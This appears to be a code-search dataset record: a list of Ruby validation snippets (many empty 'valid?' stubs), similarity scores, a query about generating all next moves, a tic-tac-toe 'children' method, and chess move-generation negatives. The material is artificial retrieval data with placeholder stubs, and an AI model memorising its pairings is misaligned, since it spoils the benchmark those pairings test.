"def design_data_filled_in?\n !self.description.blank? && \n !self.platform.blank? && \n !self.product_type.blank? && \n !self.project.blank? &&\n !self.design_directory.blank? &&\n !self.incoming_directory.blank?\n end",
"def check_presence!(obj)\n if obj.nil? || (obj.is_a?(String) && obj.empty?)\n raise ArgumentError, 'metric must be given'\n end\n end",
"def is_valid; end",
"def valid?\n filled?\n end",
"def valid(data)\n return data && data[0] && data[1]\n end",
"def validation\n :wf_point?\n end",
"def valid_data_on_creation?\n valid_data_on_creation\n end",
"def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end",
"def emma_data_valid?\n if emma_data.blank?\n error(:emma_data, :missing)\n else\n check_required(database_fields[:emma_data], emma_metadata)\n end\n errors.empty?\n end",
"def validate_presence_and_not_in_future(attribute)\n validate_presence(attribute, :blank)\n validate_not_in_future(attribute)\n end",
"def validation; end",
"def validation; end",
"def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end",
"def validate\n validates_presence([:title, :body])\n end",
"def check_for_nulls\n# if self.name.nil? && self.dynamic_type_id.nil?\n# flash[:notice] = \"You must fill in something !\"\n if self.dynamic_type_id.nil?\n self.dynamic_type_id = 3\n end\n if self.name.nil?\n self.name = \"please enter a name\"\n end\n# end\n end",
"def valid?; end",
"def valid?; end",
"def valid?; end",
"def valid?; end",
"def valid?; end",
"def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end",
"def auto_validate_presence?\n @auto_validate_presence\n end",
"def value_required?\n false\nend",
"def validates_presence_of(*args)\n validates_with(PresenceValidator, _merge_attributes(args))\n end",
"def validates_attachment_presence name, options = {}\n message = options[:message] || \"must be set.\"\n attachment_definitions[name][:validations] << [:presence, {:message => message,\n :if => options[:if],\n :unless => options[:unless]}]\n end",
"def fill_required_fields(record) \n record.class.validators.select { |v| v.is_a? ActiveModel::Validations::PresenceValidator }.each do |validator|\n validator.attributes.each do |attribute|\n fill_field(record, attribute)\n end\n end\n end",
"def validated?; end",
"def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end",
"def check_value_empty(data)\n case @type\n when 'str', 'text', 'password', 'img', 'url'\n data.empty?\n when 'int', 'float', 'enum'\n # These values are always non-empty\n false\n when 'set'\n data == 0\n else\n raise \"Invalid type #{@type.inspect} encountered on attribute #{@name.inspect}\"\n end\n end",
"def mark_required(object, attribute) \n \"*\" if object.class.validators_on(attribute).map(&:class).include? ActiveModel::Validations::PresenceValidator \n end",
"def validate_presence(attribute_name, message = nil)\n value = send(attribute_name)\n if !value || value.to_s.empty?\n append_error(attribute_name, message || :cant_be_empty)\n end\n end",
"def check_single_data(data:, message:)\n crit_msg(message) if data\n end",
"def has_required?\n false\n end",
"def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end",
"def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end",
"def is_valid\n\tend",
"def is_valid\n\tend",
"def _validate_presence_of(*params)\n\t\tparams.each do |param|\n\t\t\traise ArgumentError, PRESENCE_REQUESTED if param.nil?\n\t\tend\n\tend",
"def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end",
"def assert_presence(model, field)\n model.valid?\n assert_match /can't be blank/, model.errors[field].join, \"Presence error for #{field} not found on #{model.class}\"\n end",
"def assert_presence(model, field)\n model.valid?\n assert_match /can't be blank/, model.errors[field].join, \"Presence error for #{field} not found on #{model.class}\"\n end",
"def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n if @metadata.nil?\n return false\n end\n\n \n \n \n \n \n \n \n \n end",
"def validate_for_sent?\n [\n :ax_account_number,\n :ax_account_id,\n :ax_order_number,\n :ax_order_id,\n :email_address,\n #:first_name,\n #:last_name,\n :serial_number\n ].detect { |attr| self.send(attr).blank? }.nil?\n end",
"def validate(data_value, data_type=nil)\n #TODO: port from python runtime\n end",
"def validate(data_value, data_type=nil)\n #TODO: port from python runtime\n end",
"def validate_presence_of(field_name, type)\n type || raise(::ArgumentError, \"Type is required for #{field_name}.\")\n end",
"def validate_presence_of(field_name, type)\n type || raise(::ArgumentError, \"Type is required for #{field_name}.\")\n end",
"def has_required?; end",
"def valid_attributes\n {\n :name => \"my dashboard\",\n :data => 'new data',\n :scale => false,\n :is_public => false\n }\n end",
"def check(data)\n\t\tdata.blank? ? 'N/A' : data\n\tend",
"def check_presence(model, field)\n assert model.invalid?, \"#{model.class} without #{field} should not be valid\"\n assert_not_empty model.errors[field]\n end",
"def validate_presence_of_bonus_end_at\n if time_bonus_exp && time_bonus_exp > 0 && bonus_end_at.blank?\n errors.add(:bonus_end_at, :required)\n end\n end",
"def validate_presence_of_bonus_end_at\n if time_bonus_exp && time_bonus_exp > 0 && bonus_end_at.blank?\n errors.add(:bonus_end_at, :required)\n end\n end",
"def validate_data\n #first remove any old errors from the table\n self.dataerrors.clear\n \n @s = [] \n # check the necessary fields in the table\n # use the build method so the polymorphic reference is generated cleanly\n # check for the relationships t other tables\n if self.rate_id.blank? && self.rate_override.blank?\n @s.push self.dataerrors.build(:message => \"A rate or override rate must be entered\", :created_user => self.created_user) \n end\n \n #if there are errors, save them to the dataerrors table and return false\n if @s.count > 0\n Dataerror.store(@s) \n return false\n end\n #everything is good, return true\n return true\n end",
"def is_valid?\n end",
"def pre_validation\n\n\n end",
"def valid?\n @data && @errors.empty?\n end",
"def create_blank(data)\n Types.check( binding, { :data => String } )\n\n case data\n when /^([^`]*)`([^`]*)`([^`]*)$/\n then \n placeholder, solution, validator = $1, $2, $3\n\n if validator == ''\n then validator = 'exact'\n end\n\n Blank.new(placeholder, solution, validator)\n else raise \"Invalid blank specification: #{data}\"\n end\n end",
"def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end",
"def valid?\n end",
"def valid?\n end",
"def valid?\n end",
"def valid?\n end",
"def mobile_present?\n !mobile_number.nil?\n end",
"def valid; end",
"def is_required(resource_type)\n result = false\n is_required = property.is_required\n if is_required and value.blank?\n result = true\n errors.add(:value, \"of the field cannot be blank\")\n end\n result\n end",
"def valid_record?( record )\n !record[:name].nil? and !record[:type].nil? and !record[:value].nil? and\n !record[:name].empty? and !record[:type].empty? and !record[:value].empty?\nend",
"def valid_before; end",
"def presence_of_hospital_no\n\t\tif hospital_no.blank?\n\t\t\terrors.add(:hospital_no, ActiveRecord::Error.new(\n\t\t\t\tself, :base, :blank, { \n\t\t\t\t\t:message => \"Hospital record number can't be blank.\" } ) )\n\t\tend\n\tend",
"def validData?\n validString?($name) & validString?($organization) & validString?($email) &\n validString?($source) & validString?($use) & validString?($notification) & \n $email.include?(\"@\") & $email.include?(\".\")\nend",
"def validate!\n required_attributes.each do |attribute|\n if form_data[attribute].nil? || form_data[attribute].empty?\n raise Adyen::REST::RequestValidationFailed, \"#{attribute} is empty, but required!\"\n end\n end\n end",
"def checkListingAttributeRequirements\n @mandatory_attributes_from_db.each do |mand_attr|\n @listing_data.each do |listing|\n if listing[mand_attr[:name].to_sym] == nil\n listing[mand_attr[:name].to_sym] = \"#mand_attr_missing\"\n listing[:invalid] = \"Mandatory attribute #{mand_attr[:name]} missing!\"\n @invalid_rows = true\n end\n\n # handle title\n if listing[:type] == \"renting\"\n end\n end\n end\n end",
"def validate!\n # pass\n end",
"def emma_data_valid?\n if active_emma_data.blank?\n error(:emma_data, :missing)\n else\n check_required(upload_fields[:emma_data], active_emma_metadata)\n end\n errors.empty?\n end",
"def partial?; @unbound_fields.any?; end",
"def validate_attributes!\n raise TrainNumberValidationError unless valid_number?\n raise TrainTypeValidationError if type.nil? || type.empty?\n end",
"def validate_presence_of_bonus_end_at\n return unless time_bonus_exp && time_bonus_exp > 0 && bonus_end_at.blank?\n\n errors.add(:bonus_end_at, :required)\n end",
"def all_required(data, fields)\t\t\n\t\tif fields.nil? == true\n\t\t\treturn true\n\t\tend\n\t\t@api_errmsg = Array.new\n\t\tfields = fields.split(',')\n\t\tflag = true\n\t\tfields.each do |name|\n\t\t\tif data[name].nil?\n\t\t\t @api_errmsg.push(name)\n\t\t\t flag = false\n\t\t\tend\n\t\tend\n\t\tif flag == true\n\t\t return true\n\t\tend\n\t\treturn false\n\tend",
"def blank?\n false\n end",
"def blank?\n false\n end",
"def blank?\n false\n end",
"def validating?\n @validating\n end",
"def pre_validation\n\n end",
"def blank?\n true\n end",
"def blank?\n true\n end",
"def blank?\n true\n end",
"def validate_input(data)\r\n @field_names[1..-1].each do |f|\r\n next if data[f].nil?\r\n\r\n raise 'Invalid data %s for column %s' % [data[f], f] unless \\\r\n KBTable.valid_data_type?(@field_types[@field_names.index(f)],\r\n data[f])\r\n end\r\n end",
"def present?\n not blank?\n end",
"def validate_peer_data!(data)\n\t\t\t[:uuid,:host,:port].each{|k|\n\t\t\t\tdata[k] || fail(\"Peer data does not meet requirements. #{k} is a required field. See Hive documentation.\")\n\t\t\t}\n\t\t\tkeys = peer_fields.keys\n\t\t\tdata.keys.each{|k|\n\t\t\t\tkeys.include?(k) || warn(\"Provided key #{k} will not be stored with peer data\")\n\t\t\t}\n\t\t\ttrue\n\t\tend",
"def validate!; end",
"def validate!; end",
"def validate!; end"
] | [
"0.6122415",
"0.6122415",
"0.59217066",
"0.59083885",
"0.584703",
"0.5814555",
"0.5795216",
"0.56899846",
"0.5668165",
"0.5650698",
"0.5601923",
"0.5544541",
"0.55386275",
"0.5492995",
"0.54901725",
"0.5482241",
"0.5479928",
"0.54751027",
"0.54716825",
"0.5458889",
"0.5458889",
"0.5455005",
"0.54341847",
"0.54191744",
"0.5415328",
"0.5415328",
"0.5415328",
"0.5415328",
"0.5415328",
"0.54142314",
"0.5411563",
"0.54089874",
"0.5408222",
"0.54048806",
"0.5393246",
"0.5385452",
"0.5382512",
"0.5360308",
"0.53601825",
"0.5350077",
"0.5349589",
"0.5345981",
"0.5331897",
"0.5331897",
"0.53184175",
"0.53184175",
"0.5316912",
"0.52994454",
"0.5296049",
"0.5296049",
"0.52948684",
"0.52767146",
"0.5274383",
"0.5274383",
"0.5271641",
"0.5271641",
"0.52673644",
"0.5255583",
"0.525243",
"0.52515054",
"0.52470946",
"0.52470946",
"0.5243878",
"0.5241405",
"0.52407515",
"0.5239234",
"0.5232181",
"0.52311546",
"0.52210104",
"0.52210104",
"0.52210104",
"0.52210104",
"0.5210696",
"0.52097154",
"0.5202302",
"0.51980555",
"0.5194003",
"0.51938504",
"0.5185343",
"0.5176175",
"0.51695114",
"0.5169453",
"0.51657754",
"0.5165573",
"0.51635265",
"0.51615864",
"0.5161347",
"0.5159306",
"0.5159306",
"0.5159306",
"0.5157583",
"0.51572776",
"0.51562893",
"0.51562893",
"0.51562893",
"0.515364",
"0.5153349",
"0.51516026",
"0.51483446",
"0.51483446",
"0.51483446"
] | 0.0 | -1 |
This method generates an array of all moves that can be made after the current move. | def children
board_nodes = []
(0...3).each do |r|
(0...3).each do |c|
if board.empty? [r, c]
temp_board = board.dup
temp_board[[r, c]] = next_mover_mark
mark = (next_mover_mark == :o) ? :x : :o
board_nodes << TicTacToeNode.new(temp_board, mark, [r, c])
end
end
end
board_nodes
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def next_possible_moves\n positions_array = []\n x = @position[0]\n y = @position[1]\n next_position = [x+1,y+2]\n positions_array << next_position if position_check(next_position)\n next_position = [x+1,y-2]\n positions_array << next_position if position_check(next_position)\n next_position = [x-1,y+2]\n positions_array << next_position if position_check(next_position)\n next_position = [x-1,y-2]\n positions_array << next_position if position_check(next_position)\n next_position = [x+2,y+1]\n positions_array << next_position if position_check(next_position)\n next_position = [x+2,y-1]\n positions_array << next_position if position_check(next_position)\n next_position = [x-2,y+1]\n positions_array << next_position if position_check(next_position)\n next_position = [x-2,y-1]\n positions_array << next_position if position_check(next_position)\n positions_array\n end",
"def generate_moves\n @delta.each do |step|\n new_pos = [@pos[0] + step[0], @pos[1] + step[1]]\n @move_list << new_pos if valid_coord?(new_pos)\n end\n end",
"def moves\n possible_moves = []\n dir do |dir|\n possible_moves += MyDirections(pos, dir)\n end\n possible_moves\n end",
"def generate_moves\n @delta.each do |step|\n (1..7).each do |i|\n new_pos = [@pos[0] + step[0] * i, @pos[1] + step[1] * i]\n if valid_coord?(new_pos)\n @move_list << new_pos\n break if @board[new_pos]\n else\n break\n end\n end\n end\n end",
"def possible_moves\n return []\n end",
"def all_moves_array(initial_x, initial_y)\n\t\tfinal = []\n\t\tx = initial_x + 2\n\t\tfinal << [x, initial_y+1] << [x, initial_y-1]\n\t\tx = initial_x - 2\n\t\tfinal << [x, initial_y+1] << [x, initial_y-1]\n\t\ty = initial_y + 2\n\t\tfinal << [initial_x+1, y] << [initial_x-1, y]\n\t\ty = initial_y - 2\n\t\tfinal << [initial_x+1, y] << [initial_x-1, y]\n\t\tfinal\n\tend",
"def moves\n poss_moves = []\n determine_moves.each do |diff| #array of directions\n poss_moves += grow_unblocked_moves_in_dir(diff[0],diff[1])\n end\n poss_moves\n end",
"def regular_moves\n moves = [] # initializes empty move array\n\n # choses \"forward\" y direction based on piece team\n if @team == \"l\"\n dir = 1\n else\n dir = -1\n end\n \n # looks at the two forward diagonal positions and adds them to moves array if there are no pieces there\n pos1 = [@x_pos + 1, @y_pos + dir]\n moves << pos1 if Piece.all.none?{|p| [p.x_pos, p.y_pos] == pos1}\n pos2 = [@x_pos - 1, @y_pos + dir]\n moves << pos2 if Piece.all.none?{|p| [p.x_pos, p.y_pos] == pos2}\n \n # deletes any moves with coordinates that aren't on the board\n moves.delete_if{|move| move.find{|n| n < 0 || n > 7}}\n return moves \n end",
"def moves\n possible_moves = []\n\n self.move_dirs.each do |dir|\n num_steps = 1\n blocked = false\n\n until blocked\n next_step = [dir[0]*num_steps, dir[1]*num_steps]\n next_pos = [self.pos[0] + next_step[0], self.pos[1] + next_step[1]]\n\n break unless next_pos.all? { |i| i.between?(0,7) }\n\n if self.board[next_pos]\n blocked = true\n possible_moves << next_pos unless self.color == self.board[next_pos].color\n else\n possible_moves << next_pos\n num_steps += 1\n end\n end\n end\n\n possible_moves\n end",
"def get_all_possible_moves\n possible_moves = []\n @MOVES.each do |arr|\n possible_moves += get_possible_moves(arr)\n end\n possible_moves\n end",
"def moves \r\n move = []\r\n move_directions do |dir|\r\n move += grow_unblocked_moves_in_dir(*dir)\r\n end\r\n move\r\n end",
"def moves\n output = []\n move_one = false\n @directions = @directions.take(3) if position != @initial_position\n directions.each_index do |index|\n possible_position = [position[0] + directions[index][0],position[1] + directions[index][1]]\n if index.even?\n if board.in_bounds?(possible_position) && occupied?(possible_position)\n output << possible_position unless board[possible_position].color == board[position].color\n end\n elsif index == 1\n if board.in_bounds?(possible_position) && !occupied?(possible_position)\n output << possible_position\n move_one = true\n end\n elsif board.in_bounds?(possible_position) && !occupied?(possible_position)\n output << possible_position if move_one\n end\n end\n output\n end",
"def moves; [] end",
"def get_next_moves\n children = Array.new()\n new_move = @moves + 1\n @code.length.times do |i|\n move_up = Combination.new(next_code(i, :up), self, new_move)\n move_down = Combination.new(next_code(i, :down), self, new_move)\n children.push(move_down, move_up)\n end\n children\n end",
"def generate_possible_moves(state)\n end",
"def possible_moves(board)\n poss_move_array = []\n current_square = @history.last\n current_coords = parse_coord(current_square)\n\n poss_move_array.push(single_march(current_coords, board)) if single_march(current_coords, board)\n\n poss_move_array.push(double_march(current_coords, board)) if first_move? && double_march(current_coords, board)\n\n valid_diagonals(current_coords, board).each { |move| poss_move_array.push(move) }\n\n # en passant only allowed opportunity first created\n poss_move_array.push(en_passant?(current_coords, board)) if en_passant?(current_coords, board)\n\n poss_move_array\n end",
"def moves\n # create array to collect moves\n final_array = []\n\n\n\n pos = self.move_dirs\n\n pos.each do |optional_pos|\n\n end\n\n # Note do these logics for all the optional positions \n spec_dx = pos[0]\n spec_dy = pos[1]\n\n possible_movements = grow_unblocked_moves_in_dir(spec_dx, spec_dy)\n possible_movements\n # ending\n\n\n # iterate over each of the directions in which a slideable piece can move\n # use the Piece subclass' `#move_dirs` method to get this info\n # for each direction, collect all possible moves in that direction\n # and add them to your moves array \n # (use the `grow_unblocked_moves_in_dir` helper method)\n\n # return the final array of moves (containing all possible moves in all directions)\n end",
"def moves\n possible_moves = []\n\n move_dirs.each do |dir|\n possible_moves.concat(grow_unblocked_moves_in_dir(dir[0], dir[1])) \n end\n\n possible_moves \n end",
"def moves\n pos = self.current_position\n moves = []\n move_dirs.each do |arr|\n @current_position = pos\n loop do\n @current_position = [@current_position[0] + arr[0], @current_position[1] + arr[1]]\n break if [@current_position[0], @current_position[1]].any? { |val| val < 0 || val > 7 }\n if board.pos_occupied?(@current_position)\n if @board[@current_position].color == self.color\n break\n else\n moves << @current_position\n break\n end\n moves << @current_position\n end\n moves << @current_position\n end\n end\n moves\n end",
"def possible_moves\n all_moves = []\n x, y = @position\n moves = [[x, y-1], [x-1, y-1], [x-1, y], [x-1, y+1], [x, y+1], [x+1, y+1], [x+1, y], [x+1, y-1]]\n moves.each do |position|\n all_moves << [position] if position.all? { |number| number.between?(0,7) }\n end\n all_moves\n end",
"def moves!\n total_possible_moves = []\n total_possible_moves.concat(diag_moves(diag_initializer))\n total_possible_moves.concat(straight_moves(move_initializer))\n total_possible_moves.select { |move| self.valid_move?(move) }\n end",
"def moves\n moves = []\n\n # call move_dirs and generate moves\n move_dirs.each do |x,y|\n moves += valid_positions(x,y)\n end\n moves\n end",
"def moves\n available_moves = []\n\n deltas.each do |delta|\n next_move = self.position.zip_sum(delta)\n break unless on_board?(next_move)\n break unless empty_square?(next_move)\n available_moves << next_move\n end\n\n available_moves + capture_moves\n end",
"def listLegalMoveAll\n result = [] ;\n for x in 0..3\n for y in 0..3\n from = Pos.new(x,y) ;\n r = self.listLegalMoveFrom(from) ;\n r.shift ;\n result += r ;\n end\n end\n return result ;\n end",
"def moves\n available_moves = []\n\n deltas.each do |delta|\n next_move = self.position.zip_sum(delta)\n break unless empty_square?(next_move)\n if on_board?(next_move)\n available_moves << next_move\n end\n end\n\n available_moves + capture_moves\n end",
"def possible_moves\n possible_moves = []\n\n # move up\n up_right = [start[X] + 1, start[Y] + 2]\n possible_moves << up_right\n\n up_left = [start[X] - 1, start[Y] + 2]\n possible_moves << up_left\n\n # move right\n right_up = [start[X] + 2, start[Y] + 1]\n possible_moves << right_up\n\n right_down = [start[X] + 2, start[Y] - 1]\n possible_moves << right_down\n\n # move down\n down_right = [start[X] + 1, start[Y] - 2]\n possible_moves << down_right\n\n down_left = [start[X] - 1, start[Y] - 2]\n possible_moves << down_left\n\n # move left\n left_up = [start[X] - 2, start[Y] + 1]\n possible_moves << left_up\n\n left_down = [start[X] - 2, start[Y] - 1]\n possible_moves << left_down\n\n possible_moves.select { |move| @board.valid_position?(move) }\n\n end",
"def jump_moves\n moves = [] # initializes empty move array\n\n # choses \"forward\" y direction based on piece team\n if @team == \"l\"\n dir = 1\n else\n dir = -1\n end\n\n # looks at the two forward far diagonal positions and adds them to moves array if there are no pieces there and an opponent piece in between\n pos1 = [@x_pos + 2, @y_pos + 2*dir]\n moves << pos1 if Piece.all.find{|p| p.x_pos == @x_pos + 1 && p.y_pos == @y_pos + dir && p.team != @team} && Piece.all.none?{|p| [p.x_pos, p.y_pos] == pos1}\n pos2 = [@x_pos - 2, @y_pos + 2*dir]\n moves << pos2 if Piece.all.find{|p| p.x_pos == @x_pos - 1 && p.y_pos == @y_pos + dir && p.team != @team} && Piece.all.none?{|p| [p.x_pos, p.y_pos] == pos2}\n \n\n # deletes any moves with coordinates that aren't on the board\n moves.delete_if{|move| move.find{|n| n < 0 || n > 7}}\n return moves\n end",
"def moves\n # create array to collect moves\n possible_moves = []\n move_dirs.each do |dir|\n possible_moves += grow_unblocked_moves_in_dir(dir[0],dir[1])\n end\n # iterate over each of the directions in which a slideable piece can move\n # use the Piece subclass' `#move_dirs` method to get this info\n # for each direction, collect all possible moves in that direction\n # and add them to your moves array \n # (use the `grow_unblocked_moves_in_dir` helper method)\n\n # return the final array of moves (containing all possible moves in all directions)\n possible_moves\n end",
"def moves\n moves = []\n\n x, y = self.position\n sign = self.color == :white ? 1 : -1\n init_row = self.color == :white ? 1 : 6\n\n one_up = [x + (1 * sign), y]\n two_up = [x + (2 * sign), y]\n\n moves << one_up if self.board[one_up].nil?\n\n if (self.board[one_up].nil? && self.board[two_up].nil? && self.position.first == init_row)\n moves << two_up\n end\n\n diag_left = [x + (1 * sign), y + 1]\n diag_right = [x + (1 * sign), y - 1]\n\n if self.board[diag_left] && self.board[diag_left].color != self.color\n moves << diag_left\n end\n\n if self.board[diag_right] && self.board[diag_right].color != self.color\n moves << diag_right\n end\n\n moves.select { |move| on_board?(move) }\n end",
"def possibleMoves(arr,visited)\n moves = []\n VALID_MOVES.each do |x,y|\n if valid?([arr[0]+x,arr[1]+y],visited)\n moves.push([arr[0]+x,arr[1]+y])\n end\n end\n return moves\n end",
"def moves\n # All pieces can stay in place\n [[0,0]]\n end",
"def moves\n all_moves = []\n self.move_dirs.each do |move| \n if ((0..7).include?(self.pos[0] + move[0]) && (0..7).include?(self.pos[1] + move[1])) && !(@board[(self.pos[0] + move[0]), (self.pos[1] + move[1])].is_a?(Piece)) #|| self.color == \n all_moves << [(self.pos[0] + move[0]), (self.pos[1] + move[1])]\n end \n end\n all_moves\n end",
"def moves\n res = []\n move_dirs.each do |pos| # [0, 1]\n dx, dy = pos # 0, 1\n temp = grow_unblocked_moves_in_dir(dx, dy) # 0, 1 => [[0, 1], [0, 2], [0, 3], [0, 4], [0, 5], [0, 6]]\n res += temp \n end\n res \n\n # iterate over each of the directions in which a slideable piece can move\n # use the Piece subclass' `#move_dirs` method to get this info\n # for each direction, collect all possible moves in that direction\n # and add them to your moves array \n # (use the `grow_unblocked_moves_in_dir` helper method)\n\n # return the final array of moves (containing all possible moves in all directions)\n end",
"def moves\n moves = []\n\n move_dirs.each do |dir| #[1,1]\n dx, dy = dir #1 0\n new_pos = grow_unblocked_moves_in_dir(dx, dy) #[1,0][2,0][3,0][4,0],[5,0][6,0][7,0]\n moves += new_pos\n end\n\n moves\n end",
"def valid_moves\n moves = []\n\n # go in all directions\n (-1..1).each do |_x_step|\n (-1..1).each do |_y_step|\n # start walking in that direction\n (1..7).each do |steps|\n x = x_coordinate + steps * x_direction\n y = y_coordinate + steps * y_direction\n\n # stop walking if you hit a wall\n break unless valid_move?(x, y)\n\n # remember the valid moves\n moves.push(Move.new(x, y))\n end\n end\n end\n moves\n end",
"def moves\n return [] if @position.empty?\n possible_moves = []\n move_dirs.each do |dir| #[-1,-1]\n test_pos = @position #[1,3] - current position\n valid = true\n while valid\n x = dir.first + test_pos.first\n y = dir.last + test_pos.last\n test_pos = [x,y]\n valid = valid_move?([x,y])\n possible_moves << [x,y] if valid\n valid = false if valid == :attack\n end\n end\n possible_moves\n end",
"def generate_successors\n @successors =\n [Move.new(x + 2, y + 1, self)] +\n [Move.new(x + 2, y - 1, self)] +\n [Move.new(x - 2, y + 1, self)] +\n [Move.new(x - 2, y - 1, self)] +\n [Move.new(x + 1, y + 2, self)] +\n [Move.new(x + 1, y - 2, self)] +\n [Move.new(x - 1, y + 2, self)] +\n [Move.new(x - 1, y - 2, self)]\n successors_copy = []\n @successors.each do |successor|\n successors_copy += [successor] if (0..7) === successor.x && (0..7) === successor.y\n end\n @successors = successors_copy\n end",
"def children\n mark = self.next_mover_mark\n possible_moves = []\n (0...3).each do |row|\n (0...3).each do |col|\n pos = [row, col]\n if board.empty?(pos)\n possible_board = board.dup\n prev_move_pos = pos\n possible_board[pos] = mark\n possible_moves << possible_board\n end\n end\n end\n possible_moves\n end",
"def find_all_moves\n stack = []\n stack << @initial_move\n until stack.empty?\n current_node = stack.shift\n calc_move(current_node)\n stack << current_node.children\n stack.flatten!\n end\n end",
"def children\n potential_moves = []\n @board.rows.each_with_index do |row, i|\n row.each_with_index do |ele, j|\n pos = [i, j]\n potential_moves << pos if @board.empty?(pos)\n end\n end\n \n new_mark = self.switch_mark\n potential_moves.map! do |pos|\n new_board = @board.dup \n new_board[pos] = next_mover_mark\n self.class.new(new_board, new_mark, pos)\n end\n \n return potential_moves\n end",
"def possible_moves(position, board, color)\n out_array = []\n\n x = position[0]\n y = position[1]\n\n add_to_move_array(x - 1, y - 2, board, color, out_array)\n add_to_move_array(x - 2, y - 1, board, color, out_array)\n add_to_move_array(x - 2, y + 1, board, color, out_array)\n add_to_move_array(x - 1, y + 2, board, color, out_array)\n add_to_move_array(x + 1, y + 2, board, color, out_array)\n add_to_move_array(x + 2, y + 1, board, color, out_array)\n add_to_move_array(x + 2, y - 1, board, color, out_array)\n add_to_move_array(x + 1, y - 2, board, color, out_array)\n\n out_array\n end",
"def generate_possible_moves(start_board)\n possible_moves = []\n\n # possible row moves\n start_board.row_count.times { |x|\n (start_board.col_count-1).times { |y|\n possible_moves << [x, y+1]\n }\n }\n\n # possible column moves\n start_board.col_count.times { |x|\n (start_board.row_count-1).times { |y|\n possible_moves << [start_board.row_count+x, y+1]\n }\n }\n\n return possible_moves\n end",
"def get_possible_moves\n moves = \n\t @@offsets.collect do |move| \n\t row = @position[:row] + move[0]\n\t col = @position[:col] + move[1]\n\t\t[row, col] if row.between?(0, 7) && col.between?(0, 7)\n\t end\n\tmoves.compact\n end",
"def get_moves\n reset_moves\n jump_moves\n base_moves if @valid_moves.empty?\n end",
"def enum_moves\n @scratch = dup_maze(@maze)\n @locs.each_with_index do |loc, robot|\n @cost = 1\n leading_edge = [loc]\n loop do\n next_edge = []\n leading_edge.each do |x, y|\n next_edge.concat search_from(x, y, robot)\n end\n break if next_edge.empty?\n leading_edge = next_edge\n @cost += 1\n end\n end\n\n @moves\n end",
"def children\n next_move_arr = []\n\n (0...3).each do |r|\n (0...3).each do |c|\n if board.empty?([r,c])\n new_board = board.dup\n new_board[[r,c]] = next_mover_mark\n next_mover_mark == :o ? next_mark = :x : next_mark = :o\n node = TicTacToeNode.new(new_board, next_mark, [r,c])\n next_move_arr << node\n end\n end\n end\n next_move_arr\n end",
"def find_possible_moves\n @possible_moves = []\n\n @moveset.each do |move, value|\n x = @x + value[0]\n y = @y + value[1]\n\n next unless ChessBoard.check_boundaries(x, y) && !visited_coordinates.include?([x, y])\n\n @possible_moves << move\n end\n end",
"def possible_moves(x, y)\n @moves = [[x+1,y+2], [x+1,y-2],\n [x-1,y+2], [x-1,y-2],\n [x+2,y+1], [x+2,y-1],\n [x-2,y+1], [x-2,y-1]]\n\n end",
"def moves\n result = []\n\n color_setter = (color == :black ? 0 : 1)\n\n ## handles single moves\n d_pos = DELTA[color_setter]\n new_move = calc_new_move(d_pos)\n result << new_move if in_bounds?(new_move) && !occupied?(new_move)\n\n ## handles double move\n d_pos = DOUBLE_MOVE[color_setter]\n new_move = calc_new_move(d_pos)\n result << new_move if in_bounds?(new_move) && !moved? && !result.empty? && !occupied?(new_move)\n\n ## handles capture moves\n CAPTURE_MOVES[color_setter].each do |c_pos|\n new_move = calc_new_move(c_pos)\n result << new_move if in_bounds?(new_move) && capturable?(new_move)\n end\n\n result\n end",
